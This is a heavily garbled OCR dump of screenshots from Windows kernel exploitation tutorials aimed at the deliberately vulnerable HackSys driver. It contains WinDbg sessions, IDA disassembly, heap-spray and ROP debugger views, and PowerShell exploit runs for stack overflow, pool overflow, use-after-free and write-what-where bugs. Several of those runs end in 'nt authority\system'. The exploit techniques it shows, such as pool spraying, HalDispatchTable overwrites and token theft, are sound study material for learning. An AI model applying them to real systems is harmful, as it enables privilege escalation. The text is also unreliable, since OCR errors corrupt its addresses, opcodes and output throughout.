102004 Fooiiag 123687280

107008 FrocessBilled e

102008 41lcoarorBackTracelndex © 0

02008 FooiTaghach i

kd> Ipoolfind Froc
Scanning large pool allocation table for tag 0x636£7250 (Proc) (fEff£a8004400000 : fffffas00
££1££28002866700 : tag Proc (Protected). size 02520, Nonpaged pool

Gearching nonpaged paol (£££££a8000c04000 : £££££a8022800000) for tag 0x636£7250 (Prac)

£££££28000d: tag Proc (Protected). size 02500, Nonpaged pool
£££££2800174 tag Proc (Protected). size 02500 Nonpaged pool
£££££a8001 tag Proc (Protected). size 02520 Nonpaged pool
£££££2800205 tag Proc (Protected). size 02520 Nonpaged pool
tfi£12300204ac0]: tag Froc (Protected)) size 02520 Nonpaged pool
£££££280020, tag Proc (Protected). size 02520 Nonpaged pool
£££££a8002 tag Proc (Protected). size 02520 Nonpaged pool
£££££a8002 tag Proc (Protected). size 02520 Nonpaged pool
££i£1280020%ac0] : tag Froc (Protected)) size D550 Noneased poap 0x10 hexaligned
£££££a8002 tag Proc (Protected). size 02520 Nonpaged pool
£££££a8002 tag Proc (Protected). size 02520 Nonpaged pool
£££££a8002 tag Proc (Protected). size 02520 Nonpaged pool
££1££2800210B010) : tag Froc (Protected)) size 02520 Nonpaged pool
££££280021F010): tag Froc (Protected)) size 02520 Nonpaged pool
£££££2800219 tag Proc (Protected). size 02520 Nonpaged pool
£££££a800210 tag Proc (Protected). size 02520 Nonpaged pool
££i£1280021cp8c0) : tag Froc (Protected)) size 02520 Nonpaged pool
£££££a8002 tag Proc (Protected). size 02520 Nonpaged pool
££i£128002500a0 © tag Froc (Protected)) size 02520 Nonpaged pool
£££128002518a0 © tag Froc (Protected)) size 02520 Nonpaged pool

£££££28002527a20 ¢ tag Proc (Protected). size 02520 Nonpaged pool
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*xxxxx HACKSYS_EVD_IOCTL_UNINITIALIZED STACK VARIABLE xxxxxx
[+] UserValue: 0xDEADB3SE

[+] UninitializedStackVariable Address: 0x8AL

[+] UninitializedStackVariable Value: Dl 23

[+] UninitializedStackVariasble Callback  UxE0711000

[+] Triggering Uninitialized Stack Variable Vulnerability
Breakpoint 0 hit

HackSysExtrensiulnerableDriver+0xde66

a0892e66 ££95iRfsfiff  call  dvord ptr [sbp-108h]
kd> dd ebp-108h L1

8alScoec 80741000

kd> dds esp

82150988 2adcchde

8a15c9bc  86c51B00

8215900  B6CH1B70

8alScdcd a0893af2 HackSysExtremsVulnerableDriver+DxSaf2
8a15c9c8 82293232 nt!_SEH_epilogd_GS+Dxa

8a15c9d0  DOOOOII0

8a15c9d4  82b72300 nt!MnSystenPtesls

8a15c9d8 86262070

8a15c9dc  82c4d885 nt!NtSetInformationProcess

8a15c9e0 00000000

8alGcoed 00000646

8215928 00000000

8albcdec 000257da

8a15c9£0 Balbcabd

821509f4 82224642 nt|MmAccessFault+0x2ebe
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Copyright (C> 2083 Microsoft Corporation. A1l rights reserved.

PS C:\Users\h33£> yhoani
uin-0ake6k9 iui8\h33f

[PS' C:\Users\h33f>

[PS C:\Users\h33£> .\Desktop\Kernel Writehatihere.psi

Leaking HalDispatchTable pointer..
Kernel Base: Gx8284E008
HalDispatchlable: 8x829793F8

Allocating ringd payload..
Payload size: b6
Payload address: 0x04350000

Driver infornation..
1pFileName: \\.\HacksysExtremeUulnerableDriver
Handle: 1752

Sending UriteWhatUhere buffer. .
T10CTL: 6x222008
Buffer length: 8§
Uritelihere: Bx829793FC => nttHalDispatchlable+d

Calling NtQueryIntervalProfile trigger..
PS C:\Users\h33£> uhoani

nt authority\systen
[PS C:\Users\h3sf>
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; attrivutes: bp-based Frane

int _stdcall TriggerStackoverlon(uoid *UserBuffer, unsigned int Size)|
Triggerstackover Flouas proc near

KernelBurer= dword ptr -g1ch
var_1c= duord ptr 1ch
ns_exc- CPPEN_RECORD ptr —18h
iserburfer- dvord ptr 8
size- duord ptr och

push  socn
bush  offset off 92126208

call  _SEN_prologh
hor  oat. eal

v [ebpekernelbuffer], esi

push  7Fch 3 size t

push  esi : int

lea  eax, [evpsKernelBurfersa]

push  eax woid =

call  _nenset

ada esp, oon

v [ebpens_exc.registration.Trylevel], esi
push Alignnent

v esi, som

push  esi i Lengtn

push  [ebp-tserturer) s hidress
imp_ProbeorRead@1z ; ProbeForRead(x,x,x)

pusn  (eaprusersurrer]

push  OFFset aUserbufFerxp ; "[+] UserBuffer: Oip\n

call _obgerint

push  [ebpesize]

push  offset aUserbuffersize ; “[+] Us:

Buffer Size: BeEwn”

a1l _obgerint
lea  Gax, [ebpeKernelburfer]

push  eax

push  offset aKernelbufferdx ; “[+] Kernelbuffer: 0xip\n

call _bbgrint

push  esi

push  oFfset akernelbuffersi ; “[+] Kernelouffer Size: Ge2i\n”
call  _obgerint

push  offset alriggeringSt 8 ; “[+] Trigoering Stack Ouerflouin”
call  _bbgprint.

push  Tebpesize] size_t
push  [ebpeuserBuffer] ; void *

lea  eax, [ebpeKernelburfer]
push  cax 5 void x
call _nencpy
aaa esp, 30n

i short 10c_s21206En
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call
push
push
ca1l
push
ca1l
push
push
lea

push
call
add

jmp

_DbgPrint
esi

offset akernelbufferSi ; “[+] KernelBuffer Size: x%¥\n"
_DbgPrint

offset aTriggeringSt_8 ; “[+] Triggering Stack OverFlowin”
_DbgPrint

Tebp+size] s size_t

[ebp+UserBuffer] ; void *

eax, [ebpsKernelBuffer]

eax 3 void x

_mencpy

esp, 30h

short loc_9212D6E4

=

i ]

=]
1oc_9212D6E4:
nou’ [ebp+ns_exc.registration.TryLevel], OFFFFFFFER
nou  eax, edi
call  _ SEH_epilogh
retn 8
|_Triggerstackoverflovas endp
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*xxxxx HACKSYS_EVD_IOCTL _NULL FOINTER DEREFERENCE xxxxxx

[+
[+
[+
[+
[+
[+
[+
[+
[+
[+

Pool Tag: "keaH'|

Pool Typs: NonPagedPool

Pool Size: 0x8

Pool Chunk: D84ECOE28

UserValue: 0zBADOBOEQ
NullPointerDereference: D=84ECOE28
NullPointerDerefersnce—>Value: DxBADOBOBD
NullPointerDereference—>Callback: 0z93316AA6
Triggering Null Pointer Dereference

Null Pointer Dereference Object Callback

exxxxx HACKSYS EVD IOCTL NUIL POINTER DEREFERENCE *%xxxx
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Hondles | NET assemblies | .NET performance | GPU | Disk.and Network | Comment
General | Statstics | Performance | Threads | Token | Modues | Memory [ Environment
ide free regions strings. Refiesh
Base adress Sze Protect.. Use  *

jj| | oxavaso00 Die RWG Stk ()
0x2822000 Die RWG Stk ()
0x23fo000 0k8 RWIG  Stack(d
Oxtbieb00n 08 RWIG  Stack(d
Oxtbfebo0n 0I8 RWIG  Stack(d
Ox1e60000 %16 RWK  Heap (T
Ox1be00000 48 X
| ox1c100000 1,024k8 RWX
Ox7fecsesfonn 168 RUX
Ox7fecaef000 448 R
Ox7feect4e000 218 RWX
Ox7feects2000 448 RUX
Ox7fecese1000 sks AWK
Ox7feef524000 448 R
Ox7feefebo000 sks AWK
OxTfeefebdonn sk8 AWK
Ox7feefa23000 sks AWK
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PS C:\Users\h33£> yhoani
uin-0ake6k9 iuis\h33f
[PS C:\Users\h33£> .\Desktop\Kernel UninitStacklar.psi

Allocating ringd payload..
Payload size: b6
Payload address: 0x@52E0000

Driver infornation..
1pFileName: \\.\HacksysExtremeUulnerableDriver
Handle: 1668

Kernel stack spray..
Spray buffer: 4890
Payload size: 4

Call NtMaplUserPhysicalPages & trigger bug..
Radio silence..

PS C:\Users\h33£> uhoani

nt authority\systen
[PS C:\Users\h3sf>
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kd> g

Breakpoint 0 hit

rzpnk+0x7898

£fE£1880°044c5898 ££156a050000  call  quord ptr [rzpnk+0x7=08 (f£ff£880°044c5208)]
kd> x

rax=0000000000sssese rbx=fffffa8001adshol rex=0000000000ccccos

rdz=0000000000zaz225 r=i=0000000000bEEEED =

rip=iffff880041c898 rsp=11££8800276c3d0 rbp=ffiffaB0021b5160

£9=0000000000000000 r10=00000000005ceccs

T2=0000000000000400 r13=0000000000000001

B3 r1G=££fffag0024a8b10
up =i pl zr na po nc
ds=002b es=002b £s=0083 gs=002b £1=00000246
rzpnk+0x7838

£fE£1880°044c5898) ££156a050000  call  quord ptr [rzpnk+0x7=08 (f£ff£880°044c5208)]
kd> dg r8 L1

£EEE£8B0 02760820 00000000 00000000
kd> dgs rep+0xd8—(5%
EEEEE8B0°027603£0 00000000 00sccese
£££££880°0276c3€8 000000007 00000000
££E££880° 02760400 [EEFFAB0T 02760420
££E££880° 02760408
£££££880°0276c410 00000000 00000000
£££££880° 02760418 00000000° 00000040
kd> dq £EEEE860° 02760420 L1
FEEE£880° 02760420 00000000 O0ceseee.

Function parameters:

12345678910
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kd> !handle Oxefal

PROCESS 852948e8 SessionId: 1 Cid: OaSc  Peb
DirBase: 7£7d63a0 ObjectTable: 8dc285d0 HandleCount: 15307.
Inage: powershell.exe

Handle table at 8dc285d0 with 15307 entries in use

efa0: Object: 86054c10 GrantedAccess: 000£0003 Entry: 97971£40
Object: 86054c10 Type: (8483c4c0) IoCompletiomReserve
ObjectHeader: 86054bf8 (new version)
HandleCount: 1 PointerCount: 1

kd> dt nc! OBJECT HEADER £6054bTE
+0x000 PointerCount : onl
+0x004 HandleCount on1
+0x004 NextToFree
+0x008 Lock :
+0x000 Locked : oy

+0x000 Waiting : oyo
+0x%000 Waking oyo

+0%000 Multipleshared oyo
+0x%000 Shared : 0y0000000000000000000000000000 (0)
+0x000 Value o

+0x000 Prz : (nul1)
+0x00c TypeIndex : oxa !
+0x00d TraceFlags 0
+0x00e InfoMask oxe '

+0x00f Flags 0
+0x010 ObjectCreateInfo
+0x%010 QuotaBlockCharged
+0x014 SecurityDescriptor
+0x018 Body :
+0x000 UseThisFieldToCopy : 0n0
+0x000 DoNotUseThisField : 0

7E£4F000  ParentCid:

0sas
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sub
je

, Oxd
ox12d89

sub

, 0x10
ox12d56

cnp , ox14
jne  exi2ess

cmp. dword [r8+0x8], @x30 // Len OutBuff
jb FailCondition

cmp. dword [r8+0x10], @x30 // Len InBuff
jb FailCondition

mov , quord [rdx+0x18]

lea , [rsp+ox4ad {arg_18}]

mov. qword [rsp+0x4a® {arg_18}], {exe}
mov. qword [rsp+0x20 {var_468}],

mov. , dword [rbx+0x20]

mov. , quord [rbx+0x10]

mov. , quord [rbx+0x8] // BaseAddress
mov. , qword [rbx] // ProcessHandle
call I0CTL_ZwMapViewOfSection

movsxd .

mov. quord [rbx+0x28],

mov. , quord [rsp+dx4ad {arg_18}]

mov. quord [rbx+0x18],

mov. quord [rbp+0x38], 0x30

mp @x12e86
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[Copyright (C> 2089 Microsoft Corporation. AL rights

PS C:\Users\h33£> yhoani
uin-0ake6k9 iui8\h33f

[PS' C:\Users\h33f>

[PS C:\Users\h33£> .\DesktopKernel PoolOverflow.psi

Driver infornation..
1pFileName: \\.\HacksysExtremeUulnerableDriver
Handle: 1824

Allocating ringd payload..
Payload size: b8
Payload address: 0x@42D0080

Spraying non-paged kernel pool?
Derandomizing NonPagedPool. .
18888 event objects created
Allocating sequential objects. .
5800 event objects created?
Creating non-paged pool holes..
Free’d 2256 event ohjects?

Allocating process null page..
Success
Uriting shellcode pointer to BxBBOPBB74

Sending buffer. .
Buffer length: 544
I0CTL: 8x22200F

Freeing pool chunks?
PS C:\Users\h33£> uhoani

nt authority\systen
[PS C:\Users\h3sf>

reserved.
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xexxxx HACKSYS EVD_STACKOVERFLOW s
[+] UserBuifer: Dx01F6D3ED

[+] UserBuifer Size: 0100

[+] KernelBuffer: 0x8ED073B4

[+] KernelBuffer Size: 0x800

[+] Triggering Stack Overflow

xxxxxx HACKSYS EVD STACKOVERFLOW *xsxxxx
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kd>
nt | NtMapUserPhysicalPages+0xSad

82023509 1628 sbb  al.ch

8202350b ab stos  dvord ptr es:[edi

82ce350c 055t fblef add  cex OEFESFFESh

82023511 0000 add  byte ptr [eax].al

82083513 c05£5e5h Tor byt ptr [di+tEh],SBh
82083517 Gbes nov  esp.ebp

82023515 5d Pop  ebp

82c=351a c20c00 et 0ch Function return
k> bp 82ce3Sla

kd> g

Breakpoint 0 hit

nt |NtHapUserPhysicalPages+0xSbe

82ce351a 20000 ret och

kd> |thread

THREAD 85501030 Cid 0a00.0b90 Teb: 7££d7000 Vin32Thread: £29b7008 RUNNING on
Not inpersonating

Deviceliap 88181290

Owning Process 8548550 Inage povershell exe
Attached Process N Inage 29

iait Start TickCount 487518 Ticks: 0

Context Switch Count 25 IdealProcessar: 0

lserTine 00:00:00.015

KernslTine 00:00:00.015

Win32 Start Address Du6af064c2

Stack Init 95d35ed) Current 95d35acs Base 95436000 Linit 95d33000 Call 00000000
Priority 11 BaseFriority 8 PriorityDecrement 2 IoPriority 2 PagePriority §
ChildEEP Rethddr Args to Child

55435c34 776070f4 badb0d00 0522easc 00000000 nt!NtMapUssrPhysicalPages+DxShe
WARNING: Frame IF not in any known nodule Following frames may be wrong
95435c70 6as9a63b 00000000 00000001 £EEEEEEf 077607054

00000000 00000000 00000000 00000000 0000000 Dx62e9263b

kd> dd 35d35ed0-0x504 Offset to uninitialized stack variable
95d359cc [deadb33f deadb3df deadbisf deadbiif
954359dc |deadb33f deadb3df deadbi3f deadbiif
95d359%ec |deadb33f deadb3df deadbilf deadbiif
95d359¢c |deadb33€ 00000003 00000004 95d34=20)
95d35a0c 855d£030 95d35b70 00000003 95435040
95d35alc 82ac7239 95d35b04 B2ac72al =95e2226
95d35a2c  95d34c20 B55A£030 9535070 deadhdf /Sba‘:k spray
95d35a3c [deadb33f deadb3af deadb33f deadb33f]
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kd> g

#%xxxx HACKSYS EVD_IOCTL FREE UAF_OBJECT
[+] Freeing UaF Object

[+] Pool Tag: ‘'kcah'

[+] Pool Chunk: 0x84C62058

#%xxxx HACKSYS EVD_IOCTL FREE UAF_OBJECT
nt!Rt1pBreakiithStatusInstructio:
82885110 cc int s
kd> 1pool 0x84C62058

Pool page 8462058 region is Nonpaged pool

o
s0

84062000 size: SO previous size
84062050 size: 60 previous size
Pooltag Nspg

84062000 size: b8 previous size: 60
84062168 size: 40 previous size: bs
84c621a8 size: 90 previous size: 40

NST Proxy Generic Buffers,

(Allocated) KSon
(Free ) *NSpg Process: 85daso30

Binary : nsi.dll
(Allocated) File (Protected)
(Allocated) Even (Protected)
(Allocated) Ntfx
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xxxxxx HACKSYS_EVD_IOCTL_ARBITRARY OVERWRITE s
[+] UseriiriteWhatVhers: 0x01FA4188

[+] VRITE_VHAT VHERE Size: 0x8

[+] UserWriteWhatVhere—>Vhat = 041414141

[+] UseriiriteWhatVhere—>Vhers: 0x12424242

[+] Triggering Arbitrary Overvrite

[-] Exception Code: 0xC0000005

xxxxxx HACKSYS EVD IOCTL ARBITRARY OVERVRITE sxxxxx
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TRAP_FRAME: 85798ad4
ErrCade = 00000010

trap Oxffffffff85798ad4

41414141 edx=82abdadé esi=00000000 di=00000000
8579868 iop. nv up ei pl zr na pe ne
cs=0008 530010 ds=0023_ es=0023 £s=0030 gs=0000 e£1=00010246
§1414141 77 279

fesetting default scops

EXCEPTION_RECORD: 857991d4 —- ( exr 0xfffffffi857991d4
Exceptionkddress: 944sa965 (HackSysExtremsVulnerableDriver+0x00004965)
ExceptionCode’ c0000005 (Access violation)
ExceptionFlags: 00000000
NunberParansters: 2
Paraneter[0]: 00000000
Parancter[1]: 41414145
Attempt to read from address 41414145
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0:024> u user32!IsMenu

USER32!IsMent
00007££9°
00007££9°
00007££9°
00007££9°
00007££9°
00007££9°
00007££9°
00007££9"

pds9E9e0
pdsssges
bds989eE
bdsgsgeD
bdssssed
bds989£0
pdses9rs
bd5989ES

28832028
b202
805320000
3309
288500
ofsscl
sbel
4883c428

sub
call
test
setne
add

zsp, 280
ai,

USER32!HMValidateHandle (00007££9°bdS9CLE0!
o1

rsp,28h
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&3 pid 3608 - WinDbg:6.2.9200.16384 X85,
Debug Window Help

£ = B O DERPRE0RE0EE

[Previs ] @Sscopeip
2c3a8505 g = dizasseninly possinle

2coasn1s 1 e xohg  eax,esp
2coaan2s i e ret

2coaanaz e a0 e eax

7c348041 - a0 ine eax
72348050 cotlon o 4 epE3 nov es1,ebx

70348052 I sbsdoe wov  ebx,dvord pr [ebp+Och]
7c3asnce en1s Jwp  HSUCR71!_setusermatherr+0xzb3 (7c348028)
7348070 iitig..t.mB ££07 inc  aword per [edi]

7348080 3.F3...08Ct.8 852 test  edy,edx

7ca40m0n S.emar. . b 7408 se HSVCR711_setusermatherr+0x2a8 (7c34shie)
70348080 Ct.HTSTu. 568005 cx,vord per [eax]

734800 3...3.0m... 668302 word per [edx],cx

70348008 b a2 edx

7348007 a2 eax

7c3asmes E 668008 cx,word per [eax]

7c3480E5 sabenabenno 40 eax

7ca4sc0s B..088.0.... 40 cax

7c348c13 oot T s allco s685co cx,ex

70348022 B il 7430 HSYCR711_setusermatherrs0x2es (7c348063)

7c348031 AL .U, .qosvun. 8586 esi,esi
7c348040 p.513.vuE. 75ce MSVCR71! setusermatherr+0x283 (7c348a£s)

&8 xJicommand

7720000 77£5000  C:)WINDOWS)systend2)HSACHIZ.dll
775d0000 775A7000  C:\WINDOWS)systen32)midimap.dll
(218.818) : Break instruction exception - code 50000003 [first chance)
eax=7££d5000 ebx=00000001 ecx=00000002 edx=00000003 =si=00000004 edi=0000000S
3c£145a1 mentml |CTrecN]RY ©30120e esp=0300ffce ebp=0300TELd nv up ei pl er na pe ne
0162b2d3 01b 55=0023 de=0023 es=0023 fs: 000 ez1=00000246
00206120 ncall!Dhgreakpoint:
o162bEaE 7co0120e o int
00000000 0:019> bp 7338005
o162bEar *%% ERROR: Symbol file could not he found. Defaulted to export symbols for
0162068 0:019> o

301403 nehtml |CTrechjSlfBreakpoint O hit
00206120 ©345005 esi=0162bedD edi=00000000

0162b£d3 e1p=70345005 esp=ni6zhean ebp=016zhche lopl=0 nv up ei pl er na pe ne
00206120 01b 55-0023 de=0023 es=0023 ez1=00000246
00000000 MSVCR71! setusermatherr+0x290

00000000 7348005 94 uchg  eax,esp

onoooooo

onoooooo
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G:\Docunents and Settings\Administrator>"C:\Docunents and Settings\Adninistratory

Decktopaday2\p2-she 11codeNaruin.exe" user32.dll HessageBoxh
ruin - uind2 address resolution progran - by stove hanna - v.01
lessageBoxh is located at Bx7edSO%ea in user32.all

C:\Docunents and Settings\Administrator>
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Registry Koy

Driver Path

Driver Version

Driver Size
Driver File Tine,
Display Hane

Service Start

Load Group
Order In Group.

Depend On

Last Status

1

C:\Users\dninistrator'code\HacSysErtren
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Boot File Systen g
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offset aUninitializeds ; “[+] UninitializedStackVariable Address:
_DbgPrint
esp, 1oh
eax, OBADOBOBON
esi, eax
short loc_14E31

magic 0xbad0bOb0

cmp success

loc_14E31:

if callback..

callback func

[ebp+UninitializedStackuariable.Value]
offset aUninitialize 1 ; “[+] UninitializedStackariable.Ualue: 0%,
_DbgPrint

Tebp+UninitializedStackUariable.Callback]

offset aUninitialize 3 ; “[+] UninitializedStackariable.Callback".
_DbgPrint

offset aTriggeringUnin ; “[+] Triggering Uninitialized Stack Vari
_DbgPrint

esp, 1uh

[ebp+UninitializedStackUariable.Callback], edi

short loc_14ESF

=
SLne_u: 3 Exce
el Bl
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1
1
251

1
1

[>1
551

01
[+1
[+1

01

[+1
[>1
[>1
[>1
[>1

[+1
01
[>1
[>1
[>1

[+1
01
[>1
[>1
[>1

[+1
[>1
[>1
[>1
[>1

[+1
[>1
[>1
[>1
51

NUsers\b33f> . _\Deskbopn?-ZuMapUieuOfSection-Search.psi
\Users\b33£> RZ-ZuMapUiewOfSection

Driver access OK..
1pFileName: \\.\47CD78C9-64C3-47C2-BSOF-677B887CFAIS => rzpnk
Handle: 1552

Opening full access handle to PowerShell..
PouerShell handle: 1626

Leaking Kernel handle to \Device\Physicallemory..
Systen section handle: FFFFFFFF88000228

Uerifying ZuMapUiewOfSection. .
NTSTATUS Success!
1.2GB RUX \Device\PhysicalMemory allocated at: 1E280080

Parsing physical memory. coffee time..

w88t Proc_chunk found?
Address: 5C285660
SearchProtacol

2312
Token: FFFFF8AB0273AA95

w88t Proc_chunk foun:
Address: 50291980
SearchFilterHo -

2332
Token: FFFFF8AB0275F9A2

w88t Proc_chunk foun:
fddress: 56533420

lolwuut?

)
Token: FFFFFEFF

488t Proc_chunk foun:
Address: 5C301ADD
UniProSE. exe

2528
Token: FFFFF8AQG27ECE6F

w88t Proc_chunk foun:
Address: 5C37ADGD
pouershell exe

2932

Token: FFFFF8AQO2B55CA
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PS C:\Users\b33f> .\Desktop\Pool Spray.psi

[>] Spraying non-paged kernel pool?
[+] Derandomizing NonPagedPool.

[+]1 18868 event objects create
[+] Allocating sequential objects
[+] 5888 event ohjects created!

[>1 Last 18 object handles:
EFAG
EF9C
EF98
EF94
EF98
EFSC
EF8S
EF84
EF8
EF7C

[>1 Triggering WinDBG breakpoint..
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kd> dq OxFFFFF8038B608220 L1

FEEFE03°GD608220 EEEfe00l’£c427700 System EPROCESS

kd> dt nt! EPROCESS fEffe001'fc427700 UniqueProcessId Token.
+0x2e8 UniqueProcessId : 0x00000000°00000004 Void

+0x358 Token i ppa
+0x000 Object OXEEFEC000°£2816263 Void
+0x000 RezCnt S L system token

+0x000 Value : OXFEFFCO00°£2816263
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PS C:\Users\h33f> -\Desktop\d—ZuMapUiewOFSection psi

[>1 Driver access OK..
[+1 1pFileName: \N.\47CD78C9-64C3-47C2-BSBF-677B887CFA95 => rapnk
[+1 Handle: 1808

[>] Call result:

——Function return value
NTSTATUS = STATUS_INVALID_HANDLE
PS C:\Users\h33f> - o
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Command

91£db000
51fe=000
52014000
52064000
520b£000
52129000
52802000
52803000
5282000
528£4000
52948000
52965000
52984000
52993000
52957000
52923000
52952000
529b£000
52941000
52923000
5294000
529£2000
95530000
953450000
55320000

Unloaded
92101000
52122000
52193000
52123000
520b£000
8acc2000
8acci000
82243000
8ac£1000

start
92129000

91fe=000
91££8000
52064000
5200£000
92129000
52132000
52803000
528£2000
528£4000
92948000
52965000
92984000
92993000
92996700
92929000
52952000
529b£000
52941000
52923000
529£4000
529£2000
929££380
95480000
95399000
95dde000

nodules
92148000
5211000
92122000
92193000
92123000
8acc£000
8acd3000
8ac£1000
8ad02000

end
92132000

Tepndr (deferred)
icpipres  (deferred)
a2 (deferred)
sIv (deferred)
Spsvs (deferred)
HEVD (deferred)
duglnl  (deferred)
dzannsi  (deferred)
usbuhci  (deferred)
USEPORT ~ (deferred)
EIGE0I32  (deferred)
HDiudBus  (deferred)
usbehoi  (deferred)
CaBatt (deferred)
intelopn  (deferred)
‘Dnpnen (deferred)

ConpositeBus ~ (deferred)
Agilelpn  (deferred)

raslotp  (deferred)
ndistapi  (deferred)
rdpbus (deferred)
Svenun (deferred)
windzk (deferred)
TSDDD (deferred)
=dd (deferred)

USESTOR. 575
USESTOR 575
USESTOR. 575

spsys sys

spsys sys
crashdnp sys
dunp_storport . sys
dunp_1ST_S45 sys
dunp_dunpfve sys

Unsble to enunerate user-node unicaded nodules
kd> LnDynHEVD
Brovse full module list

nodule nane
HEVD (deferred)

Inage path: HEVD sys
Inage nane

Brovse all alobal svmbols functions data
Tinestanp
CheckSun
InageSize
Translations

HEVD sy

Sat Jan 06 16:45:19 2018
0000411F
00003000
0000.04b0 0000.04e4 0409

Unsble to enunerate user-node unloaded nodules

Win32 error 0n30

(5AS0A8BF)

04b0 04090424

Win32 error 0n30

> T
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¥ Windows PowerShell

Target is 64-bit!

[7] PID 1784
[+] PebBaseaddress: 0x0000004066084000
[+] GdisharedHandleTable: 0x0000018572850000

[>] Creating Bitmaps..
[+] Manager Bithap handle: OxE60507SF

[+] HandleTableEntry: 0x18572B5B0ES

[+] Bitmap Kernel address: OXFFFFF30142333000
[+] Worker BitWap handle: 0x13050748

[+] HandleTableEntry: 0x18572B5AF08

[+] Bitmap Kernel address: OxFFFFF30142330000

“\Users\b33f>
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&1 pid 296 - WinDbe:6.2.9200.16384 X86.

ococ0c62
0c0c0071
ocoenca0
ococncas
0c0e0cge
ococncad
ncoenche
0coencch
ococncda
0c0c0ces
ococncss
0c0e0a07
0coc0ais
0c0e0azs
0c0c0d34
ococ0ass
ococ0asz
0cocnas1
ococnaro
ococnare
ococnaze
0c0c0aoa

7co0e514

7ea7alst
7caaisaz
7caatEon

window

ErflE:S

e

RO &

4141181
41418181
41418181
41418181
41418181
41418181
41418181
41418181
04eba1a1
70348005 MSVCRTL!_sety
0909090
50909090
50909090
50909090
50905090

BREGEOEEOOE

disassenbly possible

a0

EE

a0
a0
a0
a0
a0
a0
a0
a0
a0
a0
a0
a0
a0
a0
a0
a0
a0
a0
a0

SALALLAL.

0:008> o

Breakpoint 2 hit

eax=00000001 ebx=00000201 ecx=0c0c0c1S
©0c0c79 esp=0c0c0e54 ehp=7e37alsl
01b 55=0023 de=0023 es=0023 fs:

oc0c0e7s 41 ine eox

0:008> 1

eax=00000001 ebx=00000201 ecx=0cOcOcia
e0cDc7a esp=0c0c0eS4 ehp=7e37alsl
01b 55=0023 de=0023 es=0023 fs:

0c0c0c7a ehod Jmp

0:008> 1

eax=00000001 ebx=00000201 ecx=0cOcOcia
©0c0CE0 esp=0c0c0eSe ehp=7e37alsl
016 0023 ds=0023  es=0023 fs

nop

nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

edx=7c902514 esi=7c3dlSaz edi=7e347£98
nv up ei pl mz na po ne
ef1=00000202

edx=7c902514 esi=7c3dlSaz edi=7e347£98
nv up ei pl mz na po ne
ef1=00000202

0c0e0eE0

edx=7c902514 esi=7c3dlSaz edi=7e347£98
iop nv up ei pl mz na po ne

03k gs=0000 e£1=00000202
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< Select Command Prompt

\Docunents and Settings\idministrator>"C:\Docunents and Settings\Adninistraton
Ktopuday2\2-she11cadearuin oxe” kerne132_d11 WinExec

ariin -~ vind2 address vesolution

finExec iz oo

:\Docunents and Settings\Adninistrator>
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kd> g
*xxxxx HACKSYS EVD_IOCTL ALLOCATE UAF_OBJECT *+sxxx
[+] Allocating UaF Object

[+] Pool Tag: 'kcaH!

[+] Pool Type: NonPagedPool
[+] Pool Size: 0x58

4] 0x84C62058

[+] UsehfterFree Object: 0x84C62058
[+] g_UseAfcerFrecObject

[+] UseAfrerFree->Call

82885110 cc
kd> dc OxB4C62058-0x8 L1
84c62050 040c000a 60636143

S5as1i80 41414141

84c62060 |41414141 41414141 41414141 41414141
84c62070 41414141 41414141 41414141 41414141

84c62080 41414141 41414141 41414141 41414141

84c62090 41414141 41414141 41414141 41414141

84c620a0 41414141 41414141 41414141 00414141 AARAAAARARARAAA.
kd> 1pool 0x84C62058

Pool page 8462058 region is Nonpaged pool

84062000 size: SO previous size: 0 (Allocated) KSoh

84c62050 |size: 60 previous size: 50 (Allocated) *Hack

Ouning component : Unknown (update pooltag.oxt)
84062000 size: b8 previous size: 60 (Allocated) File (Protected
84c62168 size: 40 previous size: bf (Allocated) Even (Protected

84c621a8 size: 90 previous size: 40 (Allocated) Nofx
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kd> u ntlHalDispatchTable
nt|HalDispatchTable

82979318
B9579ITa
829793t
82979401
82979402
82979403
82979405
82979411

0400
0000
22088382b4

H
3823726008200
0000
00baf58482e7

n

add
add
277
add
add
add

al.o
Byte ptr [sax]. al
byte ptr ds:[B48283E8h].al

dvord ptr ntlzHalOueryBusSlat
Byte ptr [sax], al

byte ptr [edx-187D7BO0Bh].bh
e=p
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firindous PouerShell

510574 <o> 2009 Microsofe Gorporation. REFTEITH.

IPS C:\Wsers\adninistrator> uhoani
Juin-2r8ne3on380Nadninistrator

[PS C:\sers\adninistrator> cd .\Desktop

[PS C:\sers\Adninistrator\Desktop> -\exp.psi

Allocating ringd payload..
Payload size: 61
Payload address: G4BBO0BA

Driver infornation..
1pFileName: \\.\HacksysExtremeUulnerableDriver
Handle: 2828

Sending buffer.
Buffer length: 2084
I10CTL: 8x222003

[PS C:\Wsers\Adninistrator\Desktop> whoani
bt authorityssysten
IPS C:\sers\Adninistrator\Desktop> o
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kd> !handle Oxefec

PROCESS 86052030 SessionId: 1 Cid: OFf4  Peb: 7££df000 ParentCid: 05ag

DirBase: 7£7d6560 ObjectTable: 98446fc0 HandleCount: 12826.

Inage: powershell.exe
Handle table at 98446£cO with 12826 entries in use
efec: Object: 85270780 GrantedAccess: 000£0003 Entry: a0974fds
Object: 85270790 Type: (8483c4c0) ToComplevionReserve

ObjectHeader: 85270778 (new version)

HandleCount: 1 PointerCount: 1
kd> !pool 85270778
Pool page 85270778 region is Nompaged pool
85270000 size: 60 previous size: 0 (Allocated) IoCo (Brotected)
85270060 size: 40 previous size: 60 (Allocated) Even (Brotected)
85270020 size: 8 previous size: 40 (Free) ToCo
85270198 size: 230 previous size: 8 (Free ) Irp Process: 84977cT8
852703c8 size: 230 previous size: 230 (Free ) Irp Process: 84977cT8
85270578 size: 168 previous size: 230 (Free ) CoSc
*85270760 size: 60 previous size: 168 (Allocated) *IoCo (Protected)
Ouning component : Unknown (update pooltag.txt

852707c0 size: 60 previous size: (Free ) ToCo (Protected)
85270820 size: 60 previous size: (Allocated) ToCo (Protected)
85270880 size: 60 previous size (Free ) TIoCo (Protected)
852708e0 size: 60 previous size: (Allocated) ToCo (Protected)
85270940 size: 60 previous size (Free ) TIoCo (Protected)
85270920 size: 60 previous size (Allocated) ToCo (Protected)
85270200 size: 60 previous size (Free ) TIoCo (Protected)
85270260 size: 60 previous size (Allocated) ToCo (Protected)
85270ac0 size: 60 previous size: (Free ) TIoCo (Protected)
85270020 size: 60 previous size (Allocated) ToCo (Protected)
85270080 size: 60 previous size: (Free ) TIoCo (Protected)
85270be0 size: 60 previous size (Allocated) ToCo (Protected)
85270040 size: 60 previous size: (Free ) TIoCo (Protected)
85270ca0 size: 60 previous size (Allocated) ToCo (Protected)
